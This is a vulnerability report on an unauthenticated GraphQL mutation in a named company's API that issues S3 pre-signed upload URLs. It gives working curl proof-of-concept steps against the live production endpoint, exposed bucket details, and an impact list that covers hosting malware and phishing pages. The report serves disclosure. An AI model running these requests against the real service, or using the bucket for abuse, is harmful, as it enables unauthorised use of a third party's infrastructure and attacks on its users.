Vulnerability #1: Unauthenticated S3 Signed URL Generation

[cyberbobas]

A critical vulnerability was discovered in Cerebrum's GraphQL API that allows unauthenticated attackers to generate AWS S3 signed URLs and upload arbitrary files to Cerebrum's production S3 bucket. This can be exploited for malware distribution, phishing attacks, and storage abuse.

Description
The GraphQL mutation createUploadTempFileSignedURL is accessible without authentication, allowing any attacker to:

Generate pre-signed URLs for uploading files to Cerebrum's production S3 bucket
Upload arbitrary file types (HTML, JavaScript, executables, etc.)
Obtain read URLs to access uploaded files

Affected Endpoint
POST https://api.cerebrum.com/graphql

Proof of Concept
Step 1: Generate S3 Signed URL (No Authentication Required)
curl -X POST "https://api.cerebrum.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"mutation { createUploadTempFileSignedURL(fileName: \"poc_test.txt\", fileType: \"text/plain\") { uploadUrl readUrl } }"}'

Response:
{ "data": { "createUploadTempFileSignedURL": { "uploadUrl": "https://cerebruminc-prod.s3.us-east-1.amazonaws.com/cortex/uploads/order_temp_uploads/WTXHQHZILB_poc_test.txt?X-Amz-Algorithm=...", "readUrl": "https://cerebruminc-prod.s3.us-east-1.amazonaws.com/cortex/uploads/order_temp_uploads/WTXHQHZILB_poc_test.txt?X-Amz-Algorithm=..." } } }

Step 2: Upload Arbitrary Content
curl -X PUT "[uploadUrl from step 1]" \ -H "Content-Type: text/plain" \ -d "PoC Security Test - Unauthenticated Upload - SiteGuarding"

Step 3: Verify Upload
curl "[readUrl from step 1]" **Returns**: PoC Security Test - Unauthenticated Upload - SiteGuarding

Dangerous File Types Accepted
Tested and confirmed uploadable:

• test.html (text/html) - Phishing pages
• malware.js (application/javascript) - Malicious scripts
• malware.exe (application/octet-stream) - Executables
• poc_test.txt (text/plain) - Arbitrary content

Exposed Information
S3 Bucket -> cerebruminc-prod
AWS Region -> us-east-1
AWS Account ID -> XXXXXX9441 (Not Safe to Post it Here)
Upload Path -> /cortex/uploads/order_temp_uploads/
AWS STS Tokens -> Exposed in each signed URL

Impact

• Malware Distribution: Attackers can host malware on trusted Amazon S3 infrastructure
• Phishing Attacks: Upload fake login pages appearing to come from trusted cerebruminc-prod S3
• XSS via JS Hosting: Host malicious JavaScript for use in other attacks
• Storage Abuse: Unlimited free storage on Cerebrum's AWS account
• Financial Impact: AWS storage costs incurred by Cerebrum
• Reputation Damage: Cerebrum's S3 bucket used for malicious purposes